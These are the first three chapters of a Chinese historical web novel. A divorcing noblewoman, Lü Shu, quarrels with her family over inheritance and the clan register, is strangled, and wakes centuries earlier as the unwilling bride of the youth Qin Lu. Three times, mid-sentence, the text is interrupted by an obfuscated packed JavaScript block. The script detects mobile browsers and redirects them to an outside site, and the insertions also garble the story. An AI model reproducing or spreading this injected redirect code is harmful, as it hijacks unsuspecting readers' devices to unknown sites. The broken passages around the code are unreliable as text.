《洞房前我只想和离》
1. 祠堂怪事
吕姝的父亲常说:“摔倒了,再站起来便是。”
这大抵是他生平积攒的经验,临走时对吕姝再三叮嘱的,亦是此话。
不曾想他女儿这辈子只摔了一下,这一下便把她摔死了。
生时,吕姝在闹和离。
兴安十年七月半前夕,吕家的祖宅内,香火纷飞,烟灰缭绕。
这吕家是北京城里的官宦人家,族中颇有贤能,单单是老吕侍郎,他的八个儿子中就出了四个进士。其中这长房长子又是家中最有出息的,自兴安元年起累官至两江总督,此人便是吕姝的父亲。
吕家素有友睦助持、慎终追远的家风,最重视这祭祖的大事。往年祭祀大事便是由长房操办,祭祀前夕请家中长老、子侄到祖宅中,第一日傍晚开祠堂、摆祭品,请神迎祖宗,诵祝后,点戏,第二日太阳下山的时候,焚纸烧钱,提着灯笼,恭送祖宗。
长房振兴了门楣,吕氏家族把最重要的担子交给长房,理所应当。
只是,吕姝的父亲去世得早,自他去世后,其余几房便年年借机将主持祭祀大礼的机会要过去。好在吕家的主母高氏强势,从不松口。
按理说今日这主持祭祀,仍是吕家长房,但那吕家长房长媳去年也已去世,房中仅有一姨娘管事,如何管得?
这个王姨娘地位又与其他姨娘不同,长房长孙吕瑞她所出,吕姝的父亲只有一个儿子,今年十四,另有一女吕嫱,是吕瑞是之胞妹,尚待字闺中。吕姝则是正室高氏所出,乃嫡长女,嫁入成王府为正妃。
平日里姨娘管家尚可,可祭祀这等大事,不上家谱之人,却是不能操办的,这是吕家的规矩。眼看家中无有可以主事的,二房便早早派人来送信,要“帮他们一帮”。
此时,管家喜爷一手举着信,一手提着自己的马褂,在小门处一路喊来:“来信了!二房来信了!”
皇天老日,暑热蒸蒸,喜爷一进院门,就看见大小姐吕姝站在树下,和王姨娘一块儿议事。他走至吕姝身后行了个礼,将信不假思索地递给她瞧。
吕姝瞧他跑得满头大汗,气喘吁吁,吩咐丫鬟:“给喜爷拿把扇子扇扇风。”
喜爷抬起手来擦了擦脸上的汗,大笑了两声,“多谢小姐,老头子我自己来。”接过丫鬟的扇子,道:“此信,大小姐快拆开看看吧。”
一旁的王姨娘见信不给自己,面色一沉,颇有意味地说:“后日便要亲自来了,今日还写封信来做什么,有什么话非要写在纸上说。”
又冷笑一声,拿起手帕捂着嘴角,眼睛斜斜地下看,紧盯着那信,顿了好一阵儿,才拣了句话出来。
“好在我们这里没有不识字的人,不然,还以为写了什么机密要事呢。”
说罢,眼皮一抬,便去瞧吕姝的面上的表情。
见吕姝不接她的话,她便又撇了撇嘴说:“老管家,说话也收收嗓子吧!老公鸡打鸣儿声都没你尖,祠堂重地,冲撞了祖宗可怎么好。”
她似还有话说,对着边上那扇子的丫鬟叫道:“死丫头,用点力气啊!这么扇,哪有风来!”
一面用力戳了那丫头的脑门一下,羞得那小丫头脸涨得通红,手上敢加紧了动作。一面没好气的,伸出一只带祖母绿镯子的手夺了喜爷手里的信,喜爷却不松,王姨娘睁大了眼睛瞪他。
吕姝这次回家来,王姨娘心中早就不满。本来下人们就不大服她,如今夫人死了,全府听她差遣,她一时多风光。
吕姝一回来,那些个势利小人,知道她身份压她一头,又眼巴巴地蹭上去了,尤其是这个喜爷!
生怕别人不知道他是吕姝的狗!
仗着自己是家里的老人了,从小带着哥儿姐儿长大,自以为没一个离得开他,越发放肆,讨没脸!
吕姝瞧见了,心中暗暗腹诽。她父亲常夸小妹同姨娘一样有着小鹿一般灵动非常的眼睛,此时姨娘这双眼睛比猫头鹰的还要圆溜溜,比石榴还要火,也不知哪里好看。
她是知道二房想要干什么的,无非是要抢这风头去,这信不看也罢。
至于王姨娘,她要看的未必是这信,她既想,就给她看吧。吕姝便暗示喜爷把信给王姨娘看,自己则去祠堂内看祭祀布置。
倘使吕姝知道这信中写了什么,她绝不会让喜爷把信给王姨娘看一眼。
这是一封改变她一辈子的信。
吕姝一往里走,两三个有眼力见儿的小厮,能有名头进里头干活回话的老婆子,都跟着她从耳门往里走去。
在这些随从的眼里,大小姐就是财主儿,倘能给她办事儿,得的赏钱够大半个月的月银了。
祠堂的大门紧闭,只开了一扇小门。抬眼处牌匾上写着“本睦堂”三个大字,进入里头,三个开间,正中间,梁宇上挂着醒目的“一门四进士”的牌子,因是圣上亲笔,还高挂着红绸。底下两边的柱子上贴着一对门联:诗理承志丁兴旺,忠孝传家声寿长。此外两边小厅则高悬着“忠孝悌进”、“明德惟馨”、“志存高远”、“庇佑子孙”诸如此类云云的木牌。
吕姝走到祠堂中厅,看着那些大大的牌匾,一下觉得晕头转向。
她想:我从没正门进过祠堂,除了受罚,打扫,得到允许正式进来祭拜的次数屈指可数。即使今日我来打扫,操办,明日也是二叔来开祠堂,带着众子侄祭拜,不会有我。这些祖宗几时能认得我,不认得又谈何保佑?
在吕家,没有一点功劳的女人不能进祠堂正式祭拜。添了丁,主母可以被允许祭拜一次,这是大功。嫁入高门,辞别亡父、亡母,可以祭拜一次,吕姝就只有这一次。
七日后,吕姝想过多次,她到底为什么会遇到那起怪事,思来想去,把源头放在了在这里对祖宗不敬上。
所有的怪事,都从祠堂起。
吕姝环顾祠堂四周,香烛都已摆放正位,蒲团换了新的,香灰盒子也清了,地板皆擦得干净。她又将目光放在祭桌上的牌位上,最终落到她母亲和父亲的牌子上。
看着看着,眼睛里湿润起来。想她近来过得艰难,外人只觉得光鲜,想说个话的亲人都没有。
谁知这时,一滴水滴在了她脸上,冰凉冰凉的,吕姝心下一惊,抬头看向房梁,又看不清是哪里漏水。
“这连日暴晒,不曾下雨,哪来的水?事出反常必有妖,怕是有大事发生。”一个婆子小声说。
吕姝偏头,斥道:“胡说什么。噤声,细听。”
下人皆噤声,不敢多言。顿时堂内静悄悄一片,嘀嗒嘀嗒的声音越发大了,堂内只开一小门,顿时四面楚歌,回响盘旋。
那声音像打鼓似的,咚咚地敲打着众人的颤巍巍的心。祠堂里阴森幽暗,七月这么大热天,门外一阵风吹来,竟不是热的,冷得众小厮背后发凉。
“怕是早晨的露水,瓦上的霜积攒着也不一定。”吕姝道。
其实她也觉得怪异,露和霜她自己也不信,那水冷得像是刚化开的冰,真是奇怪。
吕姝见看见又一滴水,落在她母亲的牌位,又一滴落在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956795|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她父亲的牌位,还有一滴落上面好几排的祖宗牌位上。心下想:这是父母怜我还是哭我?
突然那老木牌位咔嚓一声,裂了开来。
一个胆小的小厮吓得不轻,嘴里大喊着:“老祖宗发怒了!老祖宗发怒了!”一溜烟儿地跑出去了。
吕姝皱眉,吩咐道:“如此冲撞祖宗,又胡言乱语,不可饶他。拿下,打他二十板子。”
她一吩咐,就有两个小厮把那人架了下去。
吕姝拿着帕子,擦拭着牌位上头的水。又叫人检查哪里还有漏水的地方,却只有方才这四处。
她便命人加紧派工匠来,趁着傍晚的余晖、夜里的月光也要把这屋顶修好,否则明日二房不知几时来,若来了看见还在修房顶,岂不是看笑话?
吕姝又问:“明日要用的果品、三牲可备齐了?”
刘妈妈站在一旁忙不迭笑着回答道:“回王妃娘娘,一应的果品都是从南方走水运运来的,昨日刚到,现在库房。牛羊猪关在栏子里,预备后日现宰。其他器皿、烛火皆按往年的准备了。”
“那边要用的纸钱可封包了?”
“纸钱元宝备了三箱,现在库里,还未封。要贴的条子、时辰、供奉人这些都写好了,喜爷让等王妃过目后贴上。”
“那你便领我去吧。”
等吕姝要出来时,姨娘等在门外已久。一出门便被王姨娘扯了一把,险些没站稳。
“姨娘这是做什么?”吕姝皱着眉头,忍住心中怒气,问道。
“你自己看看吧!你自己造的孽,还来问我!”
王姨娘把那信纸一把扔在吕姝脸上。吕姝哪里受过这等屈辱,外头的洒扫丫鬟都见到了、听到了,她胸口起伏着,“姨娘放尊重些!”
“当着下人的面,一点体面也不顾,传出去,不是叫二房看笑话?家里本就已经人丁稀薄,更该团结友睦才是,如此这般闹闹哄哄,我们成了什么人家了。”
管家喜爷和刘妈妈忙叫着丫鬟小厮们赶紧下去,只留下这两个人来。
“合着只有姑娘要体面,我就不要?姑娘是嫡出小姐,我是奴才,我自不敢言。去年太太死了,你出嫁后,是我管家,你一回来做这做那,立马给我耍威风,何曾给我半分尊重!”
王姨娘说到这里,便越说越气,索性没人,把心里话都说了出来。
“我敬你是王妃娘娘,身份尊贵,那姓喜的狗奴才当着我的面几次给我落面子,他敢这样,你敢说不是你授意!”
“我何曾授意,是姨娘曲解我。”吕姝背过脸,不与她争。
“你总是有你的说法。如今你回来,我只当你小住,怕你有难处不敢问你。不是二房来信,我还不知你已被休弃!”
吕姝一听,惊得忙捡起地上的信来看,却见信上果真写着“吕姝被成王所弃,不可收留”,最后四字,却令吕姝心中一痛。
“不是休弃,是和离。”她争辩道,可声音中却隐隐发虚。
“什么和离,说得好听,其实都是没男人要的破鞋。现在成王不要你了,你指望我们养你?做梦!”
吕叔听到“破鞋”二字,气得不打一处来,袖子里的双手被她自己掐出一道道红痕:“姨娘说话好生难听!”
又冷笑道:“大约你觉得自己也是双鞋,才觉得谁都是鞋罢。我并不要你们养,我只拿回属于我的那一份。”
吕姝嘴上如是说,心中却知道,要从虎口夺食,难如登天。
但要拿,却不是没有办法。
2. 不入族谱
吕姝原本掖着和离之事不说,担忧的便是王姨娘如此胡搅蛮缠。
眼下她父母双亡,又没有兄弟支持,虽说弟弟吕瑞从小记在母亲名下,由母亲养大,可王姨娘是他亲娘,他又有胞妹,难保会照看她。
吕父曾经许诺,只要吕姝的名字还在家谱上,家里的财产便有她的一份。
只是从前吕姝的名字记在族谱上,是吕父怕他死后她受人苛待。出嫁后,名字自然又没了,现在和离,想入族谱,实在困难。
吕姝这回回来,对祭祀之事如此上心,实则是想操办妥这事后,好向族长开口入家中族谱。就是不入,起码要拿回母亲留给她的嫁妆。
她想要设法徐徐图之,没想到,这一慢,竟慢到沧海作桑田,为她改家训、修家谱也不知是哪一年的事了。
说话间,吕瑞下学回家从院里匆匆走来,他刚进门,就听喜爷说姨娘和大姐吵起来了,还是当着众仆人的面。
这像什么样子!
吕瑞虽是庶出,但从小都是按嫡出的待遇养大的,最讲究面子。他行事皆按嫡出来,最注意分寸,但凡差池,别人就要说他是小娘生的。
“母亲,长姐。”吕瑞走进院里,行了礼后,问发生了何事。王姨娘急急忙忙把二房要来接手祭祀的事说了。
吕瑞冷笑一声:“二叔这是想给吕琰打算盘呢。我年纪小,所以他现接了族长。现在把这事揽过去,想着让吕琰接他的班呢!我是长房长孙,谁能越过我去。操办事项,不过打扫、采买、点戏,这些母亲都能办好。太太去世前,已经把家交给母亲管,由母亲操办事务,这是天经地义。至于要人接客,男客自然是我,女客那边,长姐去招待也是一样,何至于要二房操办。”
吕瑞的意思是姨娘只是不出面,其余一切都由她办就是。如果有人问起,就说是吕姝办,毕竟她身份尊贵,二房有意见也只会苛责几句不该让外嫁妇管家事,但谁也不会正经给吕姝没脸。
“你想得倒好,这里却偏有人坏事。”王姨娘,把吕姝如何和离,如何隐瞒不报的事一起说了。
吕瑞听后面露难色。
“长姐因何走到和离这步?父亲虽不在,若是姐夫那边有亏待,我们该请族里长辈去说说。”
王姨娘这时才想起来,急问:“先前托成王殿下办国子监入学的事情,办了没有?”
王姨娘和吕瑞这一老一小紧紧地盯着吕姝的脸,吕姝垂下眼睛,长长地吐了一口气,“你们觉得呢?”
“别一口气长两口气短的,你倒是说呀!”
“家里托我好多事,一时办不下来,也是有的。”
王姨娘气得眼冒金星,冲上去就要抓着吕姝扯她的头发。
“真个要命了!没一点本事的小蹄子,一天天嘴巴翘得比天还高,你若有几分本事,我倒认了!谁知被休了,还在我面前趾高气扬,仗着是太太肚子里出来的,比旁人的高贵,以为是个凤凰,谁知竟是个乌眼鸡!你说说,你做得什么事!”
吕瑞忙阻止,那边吕姝一听王姨娘骂起人来,心里的委屈也一并说了出来:“我为什么是乌眼鸡?当初我不想嫁,你们又劝我嫁人,说什么要给瑞弟的仕途铺路,他好我才好,急匆匆让我嫁了。成天老日的,找名师要疏通,进国子监要疏通,这也要那也要,王爷的几个侧妃盯着,人情我做了,她们就不要做了?在那府里,说我多事的名声都传开了。我有心要变,但凡一事不肯,全家都来责怪我心狠,翅膀硬了不知道根在哪里。”
“殊不知,有本事的人哪里要疏通?”
“长姐这是说我?”吕瑞面上不好看,“长姐若觉得麻烦,早早回绝便是。二叔、五叔皆在六部任职,我好早去求他们。”
“那你为什么来求我呢?是觉得求二房、五房你面上不好看?也是,人家的吕琰、吕琪比你大不了两岁,早早中了举,考了进去。你说你不想考,我真不知道你是真不想考,还是考不上!”
他入刘学究眼的那篇文章,不是我代笔他能去那儿上学?吕姝想到这里,气便不打一处来。但凡她自己是个男儿身,她何必要指望这个不成器的呢?
“住口!你疯了,吕姝!”吕瑞气得直挠头,“吕家不欢迎你,二叔说得没错,你就不能收留!成王指不定要找我们麻烦呢!”
吕姝心口一阵疼痛,她觉得眼前这个人就像一条水蛇,小时看着当他是黄鳝,长大却变成咬人的长蛇!
“吕瑞,你忘了你答应我母亲什么!”
吕瑞道:“我是跟太太承诺过,要敬重长姐,保你在家的待遇和太太在时一样。只是长姐和离瞒着我们不说,心里怕是打着家产算盘,如今热衷祭祀之事,这样看来是想入族谱了。必是对吕琰的事特别用心,好借机攀附二叔让你族谱,这才不管我的事!长姐胳膊肘往外拐,实在不智!实不可敬!”
吕姝听这话,心寒得不能再寒。
他哪件事她能办的不是用心给他办了?如今竟这般对她说话,可恨至极!
她闭了闭眼,看向母亲牌位的方向,忍着胸中的气说:“我不要你收留。我回来只想要回我的那部分钱。母亲去世时说了,她的嫁妆都留给我。”
王姨娘走到吕姝面前,十分理直气壮地说:“太太何曾这样说过?太太走得急,你没在身边,你来的时候,她已经走了,不知道你是听谁说的这些话。况且,太太的嫁妆早已做了家用了,现在不剩什么了。”
吕姝并不退让,道:“这几日我巡视库房,分明看见我母亲嫁妆单子上的好几样贵重东西。田契、房契几何,别以为我不知道。”
“吕家祖训,入了族谱的方能分得家产。那年你出嫁,五千两的嫁妆是你父亲给你预备的,你都带了去,现在又想回来争瑞哥儿的家产?我们大房只有瑞哥儿一个人入了族谱的,就是你,太太生的金凤凰,也没你的名儿。何况你已出嫁,又被休弃,一个弃妇怎么上族谱?你自己不嫌丢人,吕家还嫌丢人呐!”
“未出嫁前,父亲可怜我没有同胞兄弟,死前让我入了族谱。我不想嫁人,你们巴不得要我出嫁,你说嫁妆五千两,五千两可有瑞弟得的一个零头?等我出嫁的时候,族谱上将我除去。怎么我现在和离,就不能恢复了?”
“你怎么没有同胞兄弟,瑞哥儿就是你的弟弟,他是太太养的!”
“他若是我弟,怎的刚刚喊你母亲?小时母亲当他亲生儿子一般养大,不曾亏待过,母亲一过世,他就喊起太太来了。要说是人伦亲情,心之所为,这我都不说了。但母亲头七还没过,连吕琰吕琪都老实跪着,他倒好,跑到勾栏里喝酒听戏,打量我不知道呢!”
王姨娘狡辩道:“他这么年轻,小孩子家家的,整日跪在灵前磕头的,又只能吃素,怎的熬得住。没告诉你,就怕你这样,人家三房四房都去了,你怎么不说他们呢。再说你那个族谱,是仗着你父亲疼你,格外开恩写了进去,那是预备你一辈子不嫁人给你写的,偏偏你又嫁了,现在还离了,你还说这事做什么?”
“我不同你们说,我要去同族长说。”吕姝转身便走。
那边王姨娘还在身后喊:“便是族长依你,我也不依!”
谁知七月半那日,二叔却与王姨娘说辞一致。又说依照祖训,女儿不准入族谱,外嫁女和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956796|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离、被休后归家,不得收留。
吕姝气得浑身发抖。
“祖训祖训,哪个祖,哪条训?我父母恩爱,只因一条‘三十无后需纳妾’的祖训,就纳了王姨娘。我们一家原本和和睦睦,自姨娘来了,家里吵闹不断,母亲终日以泪洗面。我看整个家,瑞弟才是我们家的祖宗了!”
“如今又一条祖训,要把我从家里赶出去。当着我父母的牌位,你们就这样欺负他们的弱女,二叔,你心里安心吗?你就不怕你百年之后,到九泉之下见我父亲时,他会怪你?”
二叔道:“我皆是按照祖训所说,何曾有失公允。你有怨气,找祖宗去,找我作甚。”
一句找祖宗去,把吕姝说较劲了。
“这是族长说的。祖宗之言法皆记录在家训、家书、手札笔记之中,若我找到,便认,若我找不到这一条,谁也别想叫我认!”
倔强害人不浅。吕姝也说不清,这样要强的性格帮她多还是害她多。
她在家里的藏书阁里找啊找,找得昏天黑地,头昏眼干,脑胀耳鸣。
屋外月亮高悬,今日已是七月十四,月色饱满。她看得久了,便到屋外走了一走。刘妈妈坐在门槛上,满身酒气,斜倚着门框打瞌睡。
吕姝见怪不怪了。她听着虫鸣声响了一路,待脑子清醒,又回到阁里继续查书,只是仍没有找到“不许收留和离女儿”这一条。
这对她来说到底是好事还是坏事?
吕家从未有女儿出嫁后和离过吗?又或者,那些和离、被休的女儿们,所有的痕迹都被抹杀掉了?
这些问题萦绕在吕姝的心中。
此时站在吕姝面前的是两条路。
一条是回成王府,她虽言明要和离,但还没有签和离书,此番回来,想先打探吕家口风。可是成王出身低,又胸无大志,整日花天酒地不说,王府已经入不敷出,她再搭进去这辈子岂不完了。
一条是和二叔对峙,以没有祖训可依为由,入族谱,就是不入,也应要回母亲的嫁妆,靠着这些,她自己经营铺子,足以安身立命。
成王自私无能,娶了一个又一个,却是图那些女子的嫁妆以填补王府亏空;二叔却似豺狼,想把我赶走后,好把控瑞弟和姨娘,长房的家产终要被他给吞了。
烛火微微,她忧心忡忡地继续翻着手里泛黄的书页。吕姝的眼睛红肿,眼下乌青一团,一宿没睡,她已困得不行。
黑夜,往往埋藏凶险,有时侥幸躲过,有时怎么也躲不掉。
这时吕姝仍强打着精神,不断地揉着眼睛,按着眉心,继续查看剩下的两卷诫子书、一沓家书。
忽然,她眼睛看到一行小字:“三十无后需纳妾,不纳便是大不孝,需请家法……”
怎么真有这一条?
吕姝连忙去翻前页,去找这是谁写的,那人的名字却已模糊不清。
“会庆二十七年……族谱,族谱。”吕姝嘴里念念有词。
“我必要找出拆散我父母之人。”
她想根据年份要去翻族谱之时,屋内却刮起一阵妖风,烛火灭了。屋外的月光转瞬间黯淡,四周黑漆漆的,她什么也看不见了。
吕姝心中一慌。
七月天气炎热,可这屋里却一下变得阴森无比,她打了个喷嚏。
过了好一会儿,风声才停歇。
这时,她听见房门响了一声。
“谁?谁在那儿?刘妈妈?”
吕姝站起身,要出去喊人进来。
下一秒,她的脖子却被人勒住,她拼命挣扎,却无法挣脱。
“救……”
3. 洞房花烛
她不能呼吸,也无法大叫,她的喉咙堵得慌,脖子涨的通红。
我就要死了么……
吕姝的世界一片天旋地转,她再次睁眼醒来的时候,眼前是一片黑,可她分明觉得那是红,是她的血。
她猛地吸了一口气,大口大口地呼吸,仿佛溺水之人一般。当她摸到自己的脖子,却一点疼痛都没有感觉到。
大约死了,便没有疼痛。只是,她的头为什么很重呢。
门外有人说话,还有乐鼓、觥筹之声。怎么会有这么多男人的声音,难道是地下看守的小鬼迎接新鬼?
没想到阴曹地府迎接女鬼都是如此隆重,而且,每个小鬼都发给一间房子住着,因为她感觉到自己是坐在床沿上。
一想到自己年纪轻轻就被勒死,吕姝又伤心地流泪起来。
地府之中不知可有冥官受理冤案否,只是,即便是有,我只是一个被勒死的鬼,一个冤死鬼,叫不上一点名号,又身无分文的,官差怕是不会理睬。
也不知中元节有没有人给我烧点纸钱,没有做官的亲戚朋友,不打点几下怎么打得赢官司。
是谁杀了我?又为何杀人?
吕姝的脑中回忆起这几天发生的事情,她与王姨娘和瑞弟发生了争执,然后被杀……这之间有没有关系?这之前,叔父要将我逐出家门,觊觎我家家产;而成王,他真能忍受和离而不休妻么?除了让我失去本名,“丈夫”这个词在他身上就像是挂名。
什么是丈夫?在不久的将来,有一个人在她的耳畔这样告诉她:“爱你敬你,信你护你,方为丈夫。”
吕姝还在沉思,这时门嘎吱一声,有人推门进来。
屋子里很黑,一点月光泄入地上,她的眼前忽然变得一片银红,一个人影从门外进来,哦不,鬼影。
她变得警惕,怎么还有人杀她?
可转头一想,自己已经是个鬼了,人又不会死两次,又放下心来。
“你是什么鬼?”吕姝大胆地问。
“你在里头。怎么不点灯?”
一道年轻的男声,语调轻快,沉稳之中留有未褪去的稚嫩,应是大约十多岁年纪的少年。
“我自己怎么点灯?”
我还没学会鬼点灯这个技法呢,吕姝心想。
“你吓死人了呀!”
“死人……还怕吓?合着你是被吓死的一只胆小鬼。”
可是人高马大的,瞧着也不像啊。
谁知秦禄一听,急得快走了两步,直到房里来。
骂我死人?
不就是因为逃婚之计败露,已走到城门口了,为了吃口饼,被父亲大人的侍卫给抓了么?一路北上多么艰辛,吃口饼饱饱腹,这有什么不能理解的!
大小姐真是大小姐,她就出个人,我在外边又是摸黑又是爬狗洞,我容易么我?
“你消息真快。”他哼了一声,打开了窗子,月色皎洁。
凭着光亮,他点燃屋内的灯。
“你也坐在这儿了,笑我秦禄没走脱,你那熟练的一哭二闹三上吊怎么也没成功啊?五十步笑百步,大小姐也觉得胜了?”
“你说什么?”吕姝不解。
秦禄掌了盏小灯,欲去点屋内其他的灯火,又转念一想,该不会是大小姐自己害怕,才说我是胆小鬼吧?
想到这儿,他不禁笑了。
他走到吕姝床前的一张小案前,边点灯边笑着打趣道:“你都不敢动,什么时候这样老实过,呆若木鸡,说的就是你这样。”
烛火与月光驱开吕姝眼前的黑,她能看见眼前人模糊的身影。窗外有风进来,吹起吕姝的红盖,也吹开了那人的心房。
这真是秦禄永生难忘的一晚。
此后在勒城,无数个日日夜夜里,他把心事一遍遍向明月诉说,盼望北风远达秦淮,鸿雁传信何止三百篇,只为了这位潇湘妃子。
情不知何起,情深不见底。秦禄栽在吕姝身上,是所有人都始料未及的。
这时,秦禄一怔。只见眼前的女子面若桃红,眉若嫩柳,明眸皓齿,柔情似水。
这大小姐只要安安静静的,也是个美人。
“怎么了?”
“今夜月色极美,真是令人……眼前一亮……”
吕姝却也听懂了,捂着口鼻,上下打量他。一身红衣,身材齐整,面目周正,俊美中有些书生气,书生气中又有刚毅之气,细皮嫩肉,两颊醺红,是个美少年,浑身……
“浑身酒气,你是只醉鬼吧!”
长得人模人样,竟然调戏女鬼,怎么地府里风流鬼也这么多?
等等……我怎么觉着这地府有点像人间呢。
吕姝掐自己一把,嘶地疼了一下。
秦禄不知她在作甚,诚实地说:“是喝了点,新郎官嘛,哪有不喝酒的。”
“新郎官?你今日新婚?”她方发现他一身新郎红衣。
“你也新婚啊,夫人。”他笑了一声。
“我何时……”她一看自己穿着嫁衣,又看房间布置,一片喜气,他还叫我夫人……
今日我成婚?!
“这定是个笑话。”
吕姝站起身来,急忙走到铜镜前看自己的脖子。
没有勒痕……
她又努力去看镜中之人的容貌,这不是她的脸。长得有几分像,眉宇间却多了一点儿英气。
怎么我竟成了别人?
世间神鬼之术一时说不清楚,或许是老天觉得我死得冤枉,令我重生在这人身上。那么原身,她又去哪儿呢?她会不会在我的身体里也重新活过来?
想到这里,吕姝坐在床沿边哭了起来。人活两世,是多么不易的机会,上苍却给了我。
“别哭了,别哭了!外面有人呢!”秦禄忙把窗子关了。
“别人会以为我欺负你呢!”
没过一会儿,外边就有丫鬟在门口问里头是不是出什么乱子了。
秦禄擅口技,立马吹了一段水壶声音出来,佯装往外说:“没事,水壶的水倒得忒满了而已。”
“你看,我一世英名,差点就毁于一旦。”
他有些别扭。秦禄一见女人哭,就觉得满身麻烦要找上来一样。他也不知道要怎么办,找了半日,去床榻枕头边上翻了半日,才翻到了块手帕,想给她擦眼泪。
“你还想做什么?”吕姝警觉地站了起来,抱着床帐子不敢撒手。
新婚……这是拜了天地要入洞房了,可是……可是我不是和他成亲的人啊,而且我还没和离呢,把这婚事算我头上,岂不是重婚了?
吕姝想多了。
其实成王早写了休书,只是她不知道而已。
秦禄忙举起双手,缴械投降,道:“我没这意思啊!诺,你自己擦。”又把帕子小心递给她。
随后他摊了摊手:“这门亲事,我们都不愿意。现在天地都拜了,我也没辙了,除了和离,还能怎么办。”
“不过,别人都说我是京城第一美男,你嫁给我,不委屈。”秦禄拍了拍胸脯,竖起食指,做了个一个第一的手势,颇为得意。
吕姝打量起他来,问:“你十几了?哪年生的?”
秦禄眉毛一扬,“我这年纪正是霍去病挥师北上,痛击匈奴,孙伯符借兵征仗,闯荡江东的时候,想我本我欲效仿二人北上勒城,打得那些蛮子节节败退,再不敢骚扰边境。如今是会庆二十八年,再过几年,北上建功,来日可封冠军侯,封狼居胥指日可待!”
吕姝听他这么说,心中就知道了——十七岁。
我都双十年纪了,他才束发两年,这怎么能成亲?
方才他说如今是会庆二十八年,自己是在兴安十年,这么一算,竟是回到三百多年前了!三百年,那么我的老祖宗一定也在这里。我要回家去。
当下灵机一动,便打定了注意,明日动身回家去。
吕姝便说:“你且外站。一夜睡醒,你也自由,我也自由。”
吕姝喊了丫鬟进来,秦禄这一出去,一整晚都没能进房。新婚当晚被赶出去的新郎,他是头一个!
第二天,府中就闹出了一件惊天动地的大事。
新妇本该向公婆敬茶,秦禄的母亲骆夫人却没等到人,命丫鬟婆子去催,房中竟然空无一人。
原来,吕姝昨夜将丫鬟喊进门,得知原身亦叫吕姝,是未城名门吕家林有山之女,在家中颇受宠爱,脾气骄纵。吕家是皇商,做瓷器、杂货生意,在当地也有些实力。
吕姝因在未城打了未乡县主,为了赔罪,家中只好赶快叫她嫁人躲祸。欺侮皇室的罪名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956797|177634||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,吕家是如何也担不起。恰好这秦家是京城新贵,秦大人任漕运总兵,官居二品,秦家老夫人和吕家老夫人是手帕交,上一辈子原说要定亲的,只是两家都是儿子,故而作罢。这婚事便落到了他们两个身上。
吕家老夫人特别喜欢这个孙女,唯恐她被未城郡王发落,给郡王进奉了不少钱不说,又急信去了京城,说起了这门婚事。
这门婚久不提起,秦家收到信才想起有这回事。秦家老夫人素重诺,而秦家少爷和吕家小姐又年纪相仿,便也答应了。于是秦家便把在未湖书院上学的秦禄叫了回来,成全吕姝和秦禄的婚事。
此时大堂之中,秦父、秦母高坐,脸色皆不好看。
只有秦禄一个劲儿地笑:“佩服!我算是服她了!”
秦父一听,脸色发青,两根眉毛竖起来直直冲太阳穴,怒骂道:“逆子!媳妇跑了,你不去追,还在这儿笑?可是气傻了、发癫了!”
“我就说商户之女,实难有教养。偏母亲中意她。”骆夫人叹气。
秦禄一个劲儿笑,惹得他父亲秦卓闻看不过,脚一跺,敦实地站了起来,拿了正洒扫的小厮手上的鸡毛掸子就呼上去。
“还笑还笑!赶紧带着人去找,城门那边问问见过没有,最紧要的是渡口,她若要回家必去。媳妇跑了再找便是,这人要是丟了,被拐了,怎么和亲家交代?”
秦禄抬起手来护着头,挨了两下轻的,其余自是熟练躲过,笑着一路往外跑,溜之大吉。
这时,他心里头满是高兴,他终于可以北上建功了!
原来这秦禄在未湖书院读书是假,学武是真。他本欲这月随他师兄去往勒城,投奔他师兄的三叔,去做燕王帐下的一名小旗。
仆从牵了马来,秦禄打马往西而去。命小厮随从家里一路找至城门口,他自出了城门往上河码头去了。
他边走边觉得这事根本不算什么大事。
想来父亲的担忧多余,那吕姝又会骑马又会泅水,身上有钱,又会点功夫,带着自己丫鬟小厮,淹不死,饿不死。
何况向来,只有别人欺负她的份,能有她欺负别人的份?
此时秦禄还不知道,不久,他全家便会因这个女人而遭受巨大变故……
及至秦禄走到渡口,问了几个伙夫和参将,才听说吕姝一个时辰前跟着一条运米豆的船西去了,那船上挂着吕氏商行的牌子,必是她们自家的船了。
想来昨日给她运嫁妆的船也在此间,今日返航,满载货物,她家做生意真是精彩。
看来回头只需请父亲休书一封,问问吕家她平安到家否,便妥了。
吴参将又说:“那姑娘还留了一封信,说等公子来了一看便知。”
秦禄拆开那信,只见那信上写道:“鄙人此去不告而别,实愧对公婆教诲,辜负君之美意。思及此,寝食难安。闻未湖有未寺后的有未庵,禅意幽深,渡人苦海,余归家与母告别后,便去此带发修行,从此常伴青灯古佛,为秦家祈福。”
秦禄念到“修行”二字,先是惊讶了一番,而后呵地一声笑了。
此女如何聪明至此了?
